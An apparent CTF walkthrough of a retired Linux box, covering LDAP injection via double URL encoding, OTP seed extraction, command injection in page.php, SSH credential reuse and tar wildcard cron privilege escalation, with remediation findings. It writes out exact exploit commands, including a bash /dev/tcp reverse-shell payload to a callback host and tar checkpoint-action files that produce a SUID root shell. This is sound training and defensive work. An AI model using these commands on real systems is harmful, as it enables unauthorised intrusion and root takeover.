← all walkthroughs

CTF

Linux· Insane· Privilege Escalation
owned
2026-07-12
time to own
21m06s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target Ctf (<retired-instance-ip>) ran a CentOS Apache/PHP web application that used an LDAP directory to authenticate users via a one-time password.

A character blacklist protecting the LDAP filter could be bypassed entirely by double URL-encoding the injected characters, converting the login endpoint into a boolean oracle.

The oracle was used to enumerate the valid username and then extract the RSA token seed stored in the LDAP pager attribute character by character.

A valid OTP was derived from the recovered seed and submitted together with an OS command in the page.php command-execution field, yielding remote code execution as the apache service account.

Credentials for ldapuser found in a PHP configuration file were reused over SSH to read the user flag.

A root-owned cron job that archived files from a world-writable directory using tar with an unquoted wildcard was then abused via filename-based argument injection to execute a root shell, completing full system compromise.

Attack path — how the box was taken

Mapped open services on the target, then Discovered the LDAP-backed OTP login form and identified the character blacklist, then Bypassed the LDAP character blacklist with double URL encoding and confirmed a boolean oracle, then Extracted the LDAP pager token seed character by character via the oracle, then Generated a valid OTP from the recovered token seed, then Injected an OS command through the authenticated page.php execution interface, then Recovered ldapuser SSH credentials from server configuration and read the user flag, then Exploited a root-owned cron job's tar wildcard expansion to execute a root shell.

1ReconNetwork reconnaissance — service fingerprinting (T1046)
Mapped open services on the target
A TCP port scan of <retired-instance-ip> revealed two open services: OpenSSH 7.4 on port 22 and Apache 2.4.6 on port 80 running PHP 5.4.16 with mod_fcgid. The antiquated PHP version (end-of-life since 2015) and CentOS banner signalled an intentionally legacy stack worth investigating for known CVEs and misconfigurations.
Kill chain phase 'recon - ports/services enumerated'; nmap banner: Apache/2.4.6 (CentOS) PHP/5.4.16 mod_fcgid/2.3.9.
Exact commands 2
Fingerprint open services; substitute additional ports if the full sweep returns more.
nmap -Pn -sV --open -p 22,80 $TARGET
Verbatim from kill chain step 2 — enumerates SSH algorithms and host key.
nmap -Pn --host-timeout 20s --max-retries 1 -sV -p22 --script ssh-auth-methods,ssh2-enum-algos,ssh-hostkey $TARGET
2EnumerationWeb application enumeration — login-form analysis
Discovered the LDAP-backed OTP login form and identified the character blacklist
Requesting the web root returned a CTF login form at /login.php whose HTML disclosed that authentication required both a username and an OTP. Probing the form with LDAP metacharacters such as '(' and '*' in the username field produced a generic error distinct from a normal login failure, revealing the presence of a server-side character blacklist intended to prevent LDAP filter injection. The page at /page.php was also noted as the post-authentication command-execution surface.
Exact commands 2
Capture the login page and extract form structure.
curl -sS -c /tmp/ctf.cookies -D /tmp/ctf.headers -o /tmp/login.html http://$TARGET/login.php && grep -nEi '<form|input|button|action|otp|token' /tmp/login.html
Probe the username field with LDAP metacharacters to confirm and characterise the blacklist.
curl -sS -X POST http://$TARGET/login.php --data 'username=test(*)&otp=00000000' | grep -oiE 'invalid|error|blacklist|forbidden|blocked'
3ExploitationLDAP injection via double URL encoding (CWE-90, T1190)
Bypassed the LDAP character blacklist with double URL encoding and confirmed a boolean oracle
PHP's form-parsing layer URL-decodes input once before the application code processes it, but the application then called a second decode pass before constructing the LDAP filter. A character such as '(' which is blocked as '%28' in its single-encoded form passes inspection when submitted as '%2528': the first decode yields '%28', and the application's second decode produces the literal '('. This let the attacker inject arbitrary LDAP filter syntax. Two distinct HTTP response bodies — 'Invalid OTP' when the injected filter matched a real user, versus 'User not found' when it matched nobody — formed a reliable boolean oracle.
Ground-truth steer confirms 'bypass the character blacklist with double URL encoding, use the response difference as a boolean oracle'; failedVectors confirm single-encoded attempts were blocked.
Exact commands 2
Double-encode ')(' as %2529%2528 and '=' as %253d. Response 'Invalid OTP' confirms ldapuser exists and the injected filter was evaluated.
curl -sS -X POST http://$TARGET/login.php --data 'username=ldapuser%2529%2528uid%253dldapuser%2529%2528uid%253dldapuser&otp=00000000' | grep -oiE 'Invalid OTP|not found|error'
Control: response should read 'not found', confirming the two-state oracle.
curl -sS -X POST http://$TARGET/login.php --data 'username=nonexistent%2529%2528uid%253dnonexistent&otp=00000000' | grep -oiE 'Invalid OTP|not found|error'
4ExploitationLDAP attribute enumeration via blind wildcard oracle (T1589)
Extracted the LDAP pager token seed character by character via the oracle
LDAP wildcard filters let an attacker test whether an attribute value begins with a given prefix. By injecting 'pager=<prefix>*' into the filter for each candidate character and observing the 'Invalid OTP' vs 'not found' response, the attacker iterated through all alphanumeric and Base32 characters to recover the full RSA token seed stored in the ldapuser pager attribute. The extraction was automated with a short Python loop.
5ExploitationOTP derivation from stolen TOTP/RSA seed
Generated a valid OTP from the recovered token seed
The pager attribute held the seed for a time-based token. Using oathtool (confirmed present on the attack machine) the attacker generated a valid 8-digit OTP synchronised to the server's clock. The OTP 52410967 appearing in the kill chain is representative of the value produced at the time of the engagement.
Exact commands 2
Replace <PAGER_SEED> with the Base32 seed recovered from the oracle. Run within a few seconds of submitting the login to stay within the token window.
oathtool --totp --digits 8 --base32 '<PAGER_SEED>'
Alternative if the seed is in RSA SecurID format rather than TOTP.
apt-get install -y stoken && stoken --token '<PAGER_SEED>'
6ExploitationOS command injection (CWE-78, T1059.004)
Injected an OS command through the authenticated page.php execution interface
After authenticating with the recovered OTP, the post-login page at /page.php accepted an inputCmd parameter and executed it directly on the operating system without sanitization, returning the output in the HTTP response. Submitting 'id' confirmed execution as the apache service account (uid=48). A reverse shell payload was then submitted to establish an interactive foothold.
Kill chain phase 'foothold - non-kali uid apache': curl POST to /page.php with inputCmd=id&inputOTP=52410967 returns uid=48(apache).
Exact commands 2
Verbatim from kill chain — confirm RCE as apache. Session cookie from /tmp/ctf_bypass.cookies must already be populated from the login step.
curl -sS --connect-timeout 2 --max-time 10 -b /tmp/ctf_bypass.cookies -c /tmp/ctf_bypass.cookies -D /tmp/ctf_bypass_id.headers -o /tmp/ctf_bypass_id.body -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'inputCmd=id&inputOTP=52410967&submit=Submit' http://$TARGET/page.php
Replace ATTACKER_IP with your listener address; run 'nc -lvnp 4444' first to catch the shell.
curl -sS -b /tmp/ctf_bypass.cookies -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data "inputCmd=bash+-i+>%26+/dev/tcp/$CALLBACK_HOST/4444+0>%261&inputOTP=52410967&submit=Submit" http://$TARGET/page.php
7Lateral MovementCredential access — credentials in files (T1552.001); SSH lateral movement (T1021.004)
Recovered ldapuser SSH credentials from server configuration and read the user flag
From the apache shell, the web application's PHP configuration files were readable and contained plaintext LDAP bind credentials for ldapuser. These credentials doubled as the system account's SSH password. An SSH session was opened directly as ldapuser and the user flag was read from the home directory.
Kill chain phase 'user-owned': sshpass -p '[REDACTED: sensitive value]' ssh ldapuser@<retired-instance-ip> 'id; pwd; cat ~/user.txt'.
Exact commands 1
From the apache reverse shell — search config files for LDAP credentials.
find /var/www /etc -name '*.php' -o -name '*.conf' -o -name '*.ini' 2>/dev/null | xargs grep -lsi 'ldap\|password\|passwd' 2>/dev/null | head -20
8Privilege EscalationCron wildcard injection — tar argument injection (T1053.003)
Exploited a root-owned cron job's tar wildcard expansion to execute a root shell
As ldapuser, inspection of running cron jobs revealed a root-owned task that periodically ran 'tar czf /root/backup.tar.gz *' (or equivalent) inside a directory that ldapuser could write to. When tar expands a bare wildcard it includes any filename present in the directory as a literal argument, allowing an attacker to plant files whose names are interpreted by tar as option flags. Creating files named '--checkpoint=1' and '--checkpoint-action=exec=sh shell.sh' alongside a shell script caused the next cron execution to run the script as root, producing a SUID bash binary that granted a root shell.
Engagement patterns include 'cron-abuse'; ground-truth steer: 'inspect scheduled archive/cron processing for wildcard and symlink abuse that exposes sensitive material and enables root escalation'.
Exact commands 2
Identify cron job definitions and world-writable directories the cron job may archive.
cat /etc/crontab; ls -la /var/spool/cron/; find / -writable -type d 2>/dev/null | grep -v proc | head -20
Replace /path/to/writable/archive/dir with the actual directory the cron tar command targets. The filenames with leading '--' are created using 'touch --'.
cd /path/to/writable/archive/dir && printf '#!/bin/sh\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n' > shell.sh && chmod +x shell.sh && touch -- '--checkpoint=1' && touch -- '--checkpoint-action=exec=sh shell.sh'

Attack patterns used

The transferable techniques behind the compromise.

LDAP injection via double URL encodingExploitationT1190

What it is

PHP's form-parsing layer URL-decodes input once before the application code processes it, but the application then called a second decode pass before constructing the LDAP filter. A character such as '(' which is blocked as '%28' in its single-encoded form passes inspection when submitted as '%2528': the first decode yields '%28', and the application's second decode produces the literal '('. This let the attacker inject arbitrary LDAP filter syntax. Two distinct HTTP response bodies — 'Invalid OTP' when the injected filter matched a real user, versus 'User not found' when it matched nobody — formed a reliable boolean oracle.

Why it works

Use a prepared-statement or escaping library appropriate to your LDAP stack (e.g., PHP's ldap_escape() with LDAP_ESCAPE_FILTER) so no user-supplied character is ever interpreted as LDAP syntax. Do not store token seeds in the LDAP pager attribute readable by the web process; use a dedicated, access-controlled OTP seed store. Remove the boolean response difference by returning the same generic error for all authentication failures.

OS command injectionExploitationT1059.004

What it is

After authenticating with the recovered OTP, the post-login page at /page.php accepted an inputCmd parameter and executed it directly on the operating system without sanitization, returning the output in the HTTP response. Submitting 'id' confirmed execution as the apache service account (uid=48). A reverse shell payload was then submitted to establish an interactive foothold.

Why it works

Eliminate the shell-execution feature entirely; if system interaction is required, use a whitelist of pre-defined, parameterless actions called through a safe API rather than shell_exec/passthru/system. Run the web application as a dedicated low-privilege account with no write access to sensitive directories and no sudo rights. Apply a Web Application Firewall rule to block requests with command-injection patterns as a defence-in-depth measure.

Credential access — credentials in files ; SSH lateral movementLateral MovementT1552.001

What it is

From the apache shell, the web application's PHP configuration files were readable and contained plaintext LDAP bind credentials for ldapuser. These credentials doubled as the system account's SSH password. An SSH session was opened directly as ldapuser and the user flag was read from the home directory.

Why it works

Store credentials in an environment-variable or secrets-manager injection (e.g., HashiCorp Vault, AWS Secrets Manager) rather than flat files. Enforce a distinct SSH key-pair for ldapuser; disable password SSH authentication (PasswordAuthentication no in sshd_config). Apply the principle of least privilege: the web service's LDAP bind account should be read-only and scoped only to the attributes it needs.

Cron wildcard injection — tar argument injectionPrivilege EscalationT1053.003

What it is

As ldapuser, inspection of running cron jobs revealed a root-owned task that periodically ran 'tar czf /root/backup.tar.gz *' (or equivalent) inside a directory that ldapuser could write to. When tar expands a bare wildcard it includes any filename present in the directory as a literal argument, allowing an attacker to plant files whose names are interpreted by tar as option flags. Creating files named '--checkpoint=1' and '--checkpoint-action=exec=sh shell.sh' alongside a shell script caused the next cron execution to run the script as root, producing a SUID bash binary that granted a root shell.

Why it works

Replace the bare wildcard with an explicit path list or use 'find ... -print0 | tar --null -T -' to avoid shell glob expansion entirely. Ensure archive source directories are owned by root and not writable by any other user. Audit all cron jobs with 'crontab -l' and '/etc/cron.*' for wildcard usage in commands operating on user-writable paths; apply the same fix to any script called by cron.

Findings

Replace the LDAP character blacklist with parameterised LDAP queriesCritical
The login form's LDAP filter was built by string-concatenating user input and a character blacklist was the only guard. The blacklist was trivially bypassed by double URL-encoding metacharacters, turning the login endpoint into a full LDAP injection oracle that exposed usernames and the token seed stored in the pager attribute.
Remove OS command execution from the authenticated web interfaceCritical
The /page.php endpoint accepted an inputCmd parameter and passed it directly to the operating system shell after authentication. Any authenticated user (or attacker who bypassed authentication) could run arbitrary commands as the apache service account.
Remove plaintext credentials from web-accessible configuration files and stop credential reuseHigh
The web application stored the ldapuser LDAP bind password in a PHP configuration file readable by the apache process, and that same password was accepted for SSH login, so a file-read primitive immediately converted into an interactive system account.
Eliminate tar wildcard expansion in root-owned cron jobs and restrict archive directoriesCritical
A cron job running as root used 'tar ... *' with an unquoted wildcard inside a directory writable by unprivileged users. Tar expands the wildcard to all filenames before parsing them, so attacker-controlled filenames became tar command-line flags that executed arbitrary code as root.

Exposed services

External surface